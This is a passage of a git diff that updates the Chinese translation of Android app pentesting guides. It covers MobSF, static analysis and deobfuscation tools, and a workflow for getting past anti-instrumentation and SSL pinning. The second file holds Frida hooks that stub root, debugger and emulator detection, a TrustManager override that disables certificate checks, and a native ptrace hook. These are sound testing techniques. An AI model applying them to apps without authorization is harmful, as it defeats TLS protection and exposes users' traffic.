支持(默认禁用)。 [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** 应禁用 WebViews 对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**:在若干情况下,当 android 应用结束会话时,cookie 未被撤销,甚至可能被保存到磁盘 +- **JavaScript Injection (XSS):** 确认已为所有 WebViews 禁用 JavaScript 和 Plugin 支持(默认禁用)。[More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** 应禁用 WebViews 对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: 在某些情况下,当 android 应用结束会话时 cookie 未被撤销,甚至可能被保存到磁盘。 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## 自动化分析 +## 自动分析 ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -607,7 +605,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ![](<../../images/image (866).png>) -**对应用的漏洞评估** 使用一个友好的基于 web 的前端。你也可以执行动态分析(但需要准备好环境)。 +**对应用的漏洞评估**,使用友好的 web 前端。你也可以执行动态分析(但需要准备好相应环境)。 ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -617,41 +615,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. -### 使用 MobSF 的辅助动态分析 +### Assisted Dynamic analysis with MobSF -**MobSF** 在 **Android** 平台上对于 **动态分析** 也非常有帮助,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**(在 VM 或 Docker 中不起作用)。_注意:你需要先在 genymotion 中**启动一个 VM**,然后再启动 MobSF._\ +**MobSF** 在 **Android** 的 **dynamic analysis** 中也非常有用,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**(VM 或 Docker 无法工作)。_注意:你需要**先在 genymotion 启动一个 VM**,然后再启动 **MobSF**。_\ **MobSF dynamic analyser** 可以: -- **Dump application data**(URLs、日志、剪贴板、你拍的截图、通过 "**Exported Activity Tester**" 拍的截图、电子邮件、SQLite 数据库、XML 文件和其他创建的文件)。除了截图外,所有这些都是自动完成的;截图需要你在想要截图时手动按下,或者按下 "**Exported Activity Tester**" 来获取所有 exported activities 的截图。 -- 捕获 **HTTPS traffic** -- 使用 **Frida** 获取 **runtime** **information** +- **Dump application data**(URLs、日志、剪贴板、你手动截的 screenshots、由 "**Exported Activity Tester**" 生成的 screenshots、电子邮件、SQLite 数据库、XML 文件以及其他生成的文件)。除了 screenshots 需要你手动按下截屏或按下 "**Exported Activity Tester**" 来获取所有 exported activities 的截图外,其它都能自动完成。 +- Capture **HTTPS traffic** +- Use **Frida** to obtain **runtime** **information** -从 android **versions > 5** 开始,它会**自动启动 Frida**并会设置全局 **proxy** 来**捕获**流量。它只会捕获来自被测试应用的流量。 +From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. **Frida** -默认情况下,它还会使用一些 Frida Scripts 来**绕过 SSL pinning**、**root detection** 和 **debugger detection**,并**监控有趣的 API**。\ -MobSF 还可以**调用 exported activities**,抓取它们的**screenshots**并将其**保存**到报告中。 +By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ +MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. -要**开始**动态测试,按绿色按钮:“**Start Instrumentation**”。按“**Frida Live Logs**” 查看 Frida 脚本生成的日志,按“**Live API Monitor**” 查看对被 hook 方法的所有调用、传入参数和返回值(在按下 "Start Instrumentation" 后会出现)。\ -MobSF 还允许你加载自己的 **Frida scripts**(要将你的 Frida 脚本结果发送到 MobSF,请使用函数 `send()`)。它也包含**若干预写脚本**可供加载(你可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需**选择**它们,按“**Load**”然后按“**Start Instrumentation**”(你将能在“**Frida Live Logs**”中看到这些脚本的日志)。 +To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ +MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). ![](<../../images/image (419).png>) -此外,你还有一些辅助的 Frida 功能: +Moreover, you have some Auxiliary Frida functionalities: -- **Enumerate Loaded Classes**:打印所有已加载的类 -- **Capture Strings**:在使用应用时打印所有捕获到的字符串(噪声很大) -- **Capture String Comparisons**:非常有用。它会**显示被比较的两条字符串**以及比较结果是 True 还是 False。 -- **Enumerate Class Methods**:输入类名(例如 "java.io.File"),它会打印该类的所有方法。 -- **Search Class Pattern**:按模式搜索类 -- **Trace Class Methods**:**Trace** 整个类(查看该类所有方法的输入和输出)。记住默认情况下 MobSF 会追踪若干有趣的 Android API 方法。 +- **Enumerate Loaded Classes**:会打印所有已加载的 classes +- **Capture Strings**:在使用应用时会打印抓取到的所有字符串(非常嘈杂) +- **Capture String Comparisons**:非常有用。会**显示被比较的两个字符串**以及比较结果是 True 还是 False +- **Enumerate Class Methods**:输入类名(例如 "java.io.File")会打印该类的所有方法 +- **Search Class Pattern**:按模式搜索 classes +- **Trace Class Methods**:**Trace** 整个类(查看该类所有方法的输入和输出)。记住默认情况下 MobSF 会 trace 若干有趣的 Android Api 方法。 -一旦你选择了要使用的辅助模块,你需要按“**Start Intrumentation**”,你会在“**Frida Live Logs**”中看到所有输出。 +一旦选择了你想使用的辅助模块,按下 "**Start Intrumentation**",你将在 "**Frida Live Logs**" 中看到所有输出。 **Shell** -MobSF 在动态分析页面底部还提供了一个带有一些 **adb** 命令、**MobSF commands** 和常用 **shell** **commands** 的 shell。一些有趣的命令: +MobSF 在 dynamic analysis 页面底部还提供了一个 shell,包含一些 **adb** 命令、**MobSF commands** 和常用的 **shell** **commands**。一些有趣的命令: ```bash help shell ls @@ -662,32 +660,32 @@ receivers ``` **HTTP tools** -当 HTTP 流量被捕获时,你可以在底部的 "**HTTP(S) Traffic**" 按钮看到原始的捕获流量视图,或在绿色按钮 "**Start HTTPTools**" 中看到更友好的视图。从第二个选项,你可以将**捕获的请求** **发送**到像 Burp 或 Owasp ZAP 这样的 **proxies**。\ -要做到这一点,_开启 Burp -->_ _关闭 Intercept --> 在 MobSB HTTPTools 中选择请求_ --> 点击 "**Send to Fuzzer**" --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 +当 HTTP 流量被捕获时,你可以在底部的 "**HTTP(S) Traffic**" 按钮看到原始的捕获视图,或在绿色的 "**Start HTTPTools**" 按钮看到更友好的视图。通过第二个选项,你可以将 **captured requests** 发送到像 Burp 或 Owasp ZAP 这样的 **proxies**。\ +要做到这一点,_启动 Burp -->_ _关闭 Intercept --> 在 MobSB HTTPTools 中选择请求_ --> 按 "**Send to Fuzzer**" --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 -完成 MobSF 的动态分析后,你可以点击 "**Start Web API Fuzzer**" 来对 http 请求进行 **fuzz** 并查找漏洞。 +完成 MobSF 的动态分析后,你可以点击 "**Start Web API Fuzzer**" 来 **fuzz http requests** 并查找漏洞。 > [!TIP] -> 在使用 MobSF 完成动态分析后,代理设置可能会被错误配置,且无法通过 GUI 修复。你可以通过运行以下命令修复代理设置: +> 在使用 MobSF 执行动态分析后,proxy settings 可能会被错误配置,且你可能无法从 GUI 修复它们。你可以通过运行以下命令来修复代理设置: > > ``` > adb shell settings put global http_proxy :0 > ``` -### 使用 Inspeckage 的辅助动态分析 +### Assisted Dynamic Analysis with Inspeckage -你可以从 [**Inspeckage**](https://github.com/ac-pm/Inspeckage) 获取此工具。\ -该工具将使用一些 **Hooks**,在你进行**动态分析**时告知你**应用中正在发生的事情**。 +你可以从 [**Inspeckage**](https://github.com/ac-pm/Inspeckage) 获取该工具。\ +该工具会使用一些 **Hooks**,在你进行 **动态分析** 时告诉你 **应用中发生了什么**。 ### [Yaazhini](https://www.vegabird.com/yaazhini/) -这是一个用于通过 GUI 执行静态分析的**优秀工具** +这是一个用于通过 GUI 执行静态分析的优秀工具 ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -该工具旨在查找多种**与安全相关的 Android 应用漏洞**,无论是在**源代码**还是**打包的 APK**中。该工具还能够**创建可部署的 "Proof-of-Concept" APK**和 **ADB commands**,以利用某些发现的漏洞(如暴露的 activities、intents、tapjacking 等)。与 Drozer 一样,无需对测试设备进行 root。 +该工具用于查找若干 **security related Android application vulnerabilities**,无论是在 **source code** 还是 **packaged APKs** 中。该工具还**能够创建可部署的 "Proof-of-Concept" APK** 和 **ADB commands**,以利用发现的一些漏洞(Exposed activities、intents、tapjacking...)。与 Drozer 一样,无需对测试设备进行 root。 ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -696,22 +694,22 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- 显示所有提取的文件以便参考 +- 显示所有提取的文件,便于查阅 - 自动将 APK 文件反编译为 Java 和 Smali 格式 - 分析 AndroidManifest.xml 以查找常见漏洞和行为 - 对源代码进行静态分析以查找常见漏洞和行为 - 设备信息 -- 以及更多功能 +- 以及更多 ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER 是一个命令行应用程序,可在 Windows、MacOS X 和 Linux 上使用,用于分析 _.apk_ 文件以查找漏洞。它通过解压 APKs 并应用一系列规则来检测这些漏洞。 +SUPER 是一个可在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,用于分析 _.apk_ 文件以查找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。 -所有规则集中在 `rules.json` 文件中,每家公司或测试人员都可以创建自己的规则来分析所需内容。 +所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。 -从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。 +从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件 ``` super-analyzer {apk_file} ``` @@ -719,9 +717,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn 是一个 crossplatform 工具,帮助开发者、bugbounty hunters 和 ethical hackers 对移动应用执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。 +StaCoAn 是一个 **crossplatform** 工具,帮助开发者、bugbounty hunters 和 ethical hackers 在移动应用上执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。 -其概念是将你的移动应用文件 (an .apk or .ipa file) 拖放到 StaCoAn 应用上,它会为你生成一个可视且便携的报告。你可以调整设置和 wordlists 来获得定制化体验。 +其概念是将移动应用文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用上,它会为你生成一个可视化且可携带的报告。你可以调整设置和 wordlists 来获得定制化体验。 下载[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -729,7 +727,7 @@ StaCoAn 是一个 crossplatform 工具,帮助开发者、bugbounty hunters 和 ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework 是一个 Android 漏洞分析系统,帮助 developers 或 hackers 在 Android 应用中发现潜在的安全漏洞。\ +AndroBugs Framework 是一个 Android 漏洞分析系统,帮助开发者或 hackers 发现 Android 应用中的潜在安全漏洞。\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -737,11 +735,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** 是一个工具,主要用于检测并提醒用户 Android 应用程序可能的恶意行为。 +**Androwarn** 是一个工具,主要用于检测并提醒用户 Android 应用可能表现出的潜在恶意行为。 -检测是通过对应用的 Dalvik bytecode(以 **Smali** 表示)进行 **static analysis**,并使用 [`androguard`](https://github.com/androguard/androguard) 库来完成的。 +检测通过对应用的 Dalvik bytecode(以 **Smali** 表示)进行 **static analysis** 实现,使用 [`androguard`](https://github.com/androguard/androguard) 库。 -该工具会查找 **common behavior of "bad" applications**,例如:Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +此工具查找类似以下的 **常见的“恶意”应用行为**:Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -749,76 +747,76 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** 是一个 **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework。它将常用的移动应用逆向工程和分析工具整合在一起,以协助针对 OWASP mobile security threats 对移动应用进行测试。其目标是让移动应用开发者和安全专业人员更容易、更友好地完成这项工作。 +**MARA** 是一个 **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework。它将常用的移动应用逆向工程和分析工具整合在一起,帮助测试移动 应用以应对 OWASP 移动安全威胁。其目标是使这项工作对移动应用开发者和安全专业人员更简单、更友好。 -它能够: +它可以: - 使用不同工具提取 Java 和 Smali 代码 - 使用以下工具分析 APK: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- 使用 regexps 从 APK 中提取敏感信息。 -- 分析 Manifest。 -- 使用以下工具分析找到的域名: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- 通过 [apk-deguard.com](http://www.apk-deguard.com) 对 APK 进行反混淆 +- 使用正则表达式从 APK 中提取敏感信息 +- 分析 Manifest +- 使用以下工具分析发现的域名: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) 和 [whatweb](https://github.com/urbanadventurer/WhatWeb) +- 通过 [apk-deguard.com](http://www.apk-deguard.com) 对 APK 进行去混淆 ### Koodous -用于检测 malware: [https://koodous.com/](https://koodous.com/) +用于检测恶意软件: [https://koodous.com/](https://koodous.com/) -## Obfuscating/Deobfuscating code +## 混淆/去混淆 代码 -请注意,取决于用于混淆代码的服务和配置,敏感信息可能会被混淆,也可能不会被混淆。 +请注意,根据用于混淆代码的服务和配置不同,敏感信息可能会被混淆,也可能不会被混淆。 ### [ProGuard]() -From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. +摘自 [Wikipedia](): **ProGuard** 是一个开源的命令行工具,用于缩小、优化并混淆 Java 代码。它能够优化字节码并检测和移除未使用的指令。ProGuard 是自由软件,根据 GNU General Public License 第 2 版分发。 -ProGuard 随 Android SDK 一起分发,并在以 release 模式构建应用时运行。 +ProGuard 随 Android SDK 一起发布,并在以 release 模式构建应用时运行。 ### [DexGuard](https://www.guardsquare.com/dexguard) -Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 可以找到一步步去混淆 apk 的指南 -(From that guide) Last time we checked, the Dexguard mode of operation was: +(摘自该指南)我们上次检查时,DexGuard 的运行模式如下: -- load a resource as an InputStream; -- feed the result to a class inheriting from FilterInputStream to decrypt it; -- do some useless obfuscation to waste a few minutes of time from a reverser; -- feed the decrypted result to a ZipInputStream to get a DEX file; -- finally load the resulting DEX as a Resource using the `loadDex` method. +- 将资源以 InputStream 加载; +- 将结果传给继承自 FilterInputStream 的类以进行解密; +- 做一些无用的混淆以浪费逆向人员几分钟的时间; +- 将解密后的结果传给 ZipInputStream 以得到 DEX 文件; +- 最后使用 `loadDex` 方法将得到的 DEX 作为资源加载。 ### [DeGuard](http://apk-deguard.com) -**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** +**DeGuard 逆转 Android 混淆工具执行的混淆过程。 这使得包括代码审查和库识别在内的多种安全分析成为可能。** 你可以将混淆后的 APK 上传到他们的平台。 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. +这是一个 LLM 工具,用于发现 android 应用中的潜在安全漏洞并去混淆 android 应用代码。使用 Google's Gemini public API。 ### [Simplify](https://github.com/CalebFenton/simplify) -It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. +它是一个通用的 android 去混淆器。Simplify 通过对应用进行虚拟执行来理解其行为,然后尝试优化代码,使其在行为上与原来完全一致但更易于人工理解。每种优化类型都简单且通用,因此混淆的具体类型并不重要。 ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. +APKiD 为你提供关于一个 APK 是如何构建的信息。它能识别许多编译器、packers、obfuscators 以及其他奇怪的东西。它是 Android 领域的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。 ### Manual -[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) +[阅读本教程以学习一些关于如何逆转自定义混淆的技巧](manual-deobfuscation.md) -## Labs +## 实验室 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全极客和研究人员的最新框架、教程和用于逆向工程与 malware analysis 的实验。 +AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全爱好者和研究人员的最新框架、教程和用于逆向工程及恶意软件分析的实验合集。 -## References +## 参考资料 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很好的资源列表 +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 快速课程 - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -827,7 +825,7 @@ AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自 - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -## Yet to try +## 待尝试 - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index f98dac9ef..f7a7bc7ed 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -1,31 +1,31 @@ -# Android 反注入与 SSL Pinning 绕过 (Frida/Objection) +# Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection) {{#include ../../banners/hacktricks-training.md}} -本页提供一个实用工作流程,用于恢复对检测到或阻止 instrumentation 或强制 TLS pinning 的 Android 应用的动态分析。侧重快速分诊、常见检测点,以及可复制粘贴的 hooks/tactics,在可能的情况下无需重新打包即可绕过。 +本页面提供一个实用工作流程,用于在 Android 应用中恢复对检测/阻止 instrumentation 或强制 TLS pinning 的动态分析。重点在于快速初步判断、常见检测点,以及可直接复制粘贴的 hook/策略以在可能的情况下避免重打包。 ## Detection Surface (what apps check) -- Root checks: su 二进制、Magisk 路径、getprop 值、常见 root 包 -- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), 扫描 /proc、classpath、已加载的 libs -- Native anti‑debug: ptrace(), syscalls, anti‑attach、断点、inline hooks -- Early init checks: Application.onCreate() 或进程启动时的 hooks,如果检测到 instrumentation 则导致崩溃 -- TLS pinning: custom TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt pinning、本地 native pins +- Root checks: su binary, Magisk paths, getprop values, common root packages +- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs +- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks +- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present +- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins ## Step 1 — Quick win: hide root with Magisk DenyList -- 在 Magisk 中启用 Zygisk -- 启用 DenyList,添加目标包 -- 重启并重新测试 +- Enable Zygisk in Magisk +- Enable DenyList, add the target package +- Reboot and retest -许多应用仅查找明显的指示器(su/Magisk 路径/getprop)。DenyList 通常可以中和这些简单的检测。 +许多应用只检查明显的指示器(su/Magisk 路径/getprop)。DenyList 往往可以中和这些简单的检查。 References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 — 30‑second Frida Codeshare tests -在深入之前尝试常见的 drop‑in 脚本: +在深入之前先尝试常见的即插即用脚本: - anti-root-bypass.js - anti-frida-detection.js @@ -35,13 +35,13 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -这些通常会 stub Java 的 root/debug 检查、process/service 扫描和原生 ptrace()。适用于保护较轻的应用;加固目标可能需要定制化的 hooks。 +这些通常对 Java 的 root/debug 检查、process/service 扫描和原生 ptrace() 做存根。对保护较轻的应用有用;对强化的目标可能需要定制的 hooks。 - Codeshare: https://codeshare.frida.re/ -## 使用 Medusa 自动化(Frida framework) +## 使用 Medusa (Frida framework) -Medusa 提供 90+ 即用模块,用于 SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interception 等。 +Medusa 提供 90+ 个现成模块,用于 SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interception 等。 ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,22 +54,22 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -提示:Medusa 非常适合在编写自定义 hooks 之前快速获得成果。你也可以 cherry-pick modules,并将它们与自己的 scripts 结合使用。 +提示:在编写 custom hooks 之前,Medusa 非常适合快速取得成果。你也可以挑选 modules 并将它们与自己的 scripts 结合使用。 -## 第 3 步 — 通过延后 attaching 绕过 init-time 检测器 +## 第 3 步 — 通过延迟 attaching 绕过初始化时检测器 -许多检测仅在 process spawn/onCreate() 阶段运行。Spawn‑time injection (-f) 或 gadgets 会被发现;在 UI 加载之后再进行 attaching 则可能绕过检测。 +许多检测仅在 process spawn/onCreate() 期间运行。Spawn‑time injection (-f) 或 gadgets 会被捕获;在 UI 加载后再进行 attaching 往往能绕过检测。 ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -如果这有效,保持会话稳定并继续进行映射和 stub 检查。 +如果这有效,保持会话稳定并继续进行映射和存根检查。 -## 第4步 — 通过 Jadx 和字符串搜索映射检测逻辑 +## Step 4 — Map detection logic via Jadx and string hunting -在 Jadx 中用于静态初筛的关键字: +在 Jadx 中的静态初步筛查关键字: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" 典型的 Java 模式: @@ -78,16 +78,16 @@ public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -常见需要审查/hook的 API: +常见需审查/hook 的 API: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## 第5步 — Runtime stubbing with Frida (Java) +## 第5步 — 使用 Frida (Java) 进行运行时存根 -覆写自定义防护以返回安全值,无需重新打包: +重写自定义守卫以返回安全值,无需重新打包: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -在对早期崩溃进行分级吗?就在它崩溃之前转储类,以找出可能的检测命名空间: +在处理早期崩溃时?在进程结束前转储 classes,以找出可能的检测命名空间: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); -记录并使可疑方法失效以确认执行流程: +记录并中和可疑方法以确认执行流程: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -129,11 +129,11 @@ return false; }; }); ``` -## Bypass emulator/VM detection (Java stubs) +## 绕过模拟器/虚拟机检测 (Java stubs) -常见启发式规则:Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE 包含 generic/goldfish/ranchu/sdk;存在 QEMU 伪像,如 /dev/qemu_pipe、/dev/socket/qemud;默认 MAC 02:00:00:00:00:00;10.0.2.x NAT;缺少 telephony/sensors。 +常见启发式检测:Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE 包含 generic/goldfish/ranchu/sdk;QEMU 痕迹,例如 /dev/qemu_pipe、/dev/socket/qemud;默认 MAC 02:00:00:00:00:00;10.0.2.x NAT;缺少电话功能/传感器。 -快速伪装 Build 字段: +快速伪造 Build 字段: ```js Java.perform(function(){ var Build = Java.use('android.os.Build'); @@ -143,11 +143,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -补充用于文件存在性检查和标识符的桩(TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList),以返回真实的值。 +补充用于文件存在性检查和标识符的存根(TelephonyManager.getDeviceId/SubscriberId、WifiInfo.getMacAddress、SensorManager.getSensorList),以返回真实的值。 ## SSL pinning bypass quick hook (Java) -使自定义 TrustManagers 失效并强制使用宽松的 SSL contexts: +使自定义 TrustManagers 失效并强制使用宽松的 SSL 上下文: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -166,23 +166,23 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` 注意 -- 针对 OkHttp 扩展:按需 hook okhttp3.CertificatePinner 和 HostnameVerifier,或使用来自 CodeShare 的通用 unpinning 脚本。 -- 运行示例: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` +- 针对 OkHttp 扩展:根据需要 hook okhttp3.CertificatePinner 和 HostnameVerifier,或使用来自 CodeShare 的通用 unpinning 脚本。 +- 运行示例: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## 第 6 步 — 在 Java hooks 失效时追踪 JNI/native 轨迹 +## 第6步 — 当 Java hooks 失败时,追踪 JNI/native 的轨迹 -追踪 JNI entry points 以定位 native loaders 和 detection init: +追踪 JNI entry points,以定位 native loaders 和 detection init: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -对捆绑的 .so 文件进行快速本地初步分析: +对捆绑的 .so 文件进行快速本地初步分析: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -交互式/本地 reversing: +交互式/本地 逆向分析: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida @@ -195,7 +195,7 @@ return -1; // pretend failure }, 'int', ['int', 'int', 'pointer', 'pointer'])); } ``` -另见: +另请参见: {{#ref}} reversing-native-libraries.md {{#endref}} @@ -206,16 +206,16 @@ reversing-native-libraries.md ```bash objection patchapk --source app.apk ``` -Notes: -- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install -- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks. +注意事项: +- Requires apktool;请根据官方指南确保使用最新版本以避免构建问题: https://apktool.org/docs/install +- Gadget injection 允许在无 root 情况下进行 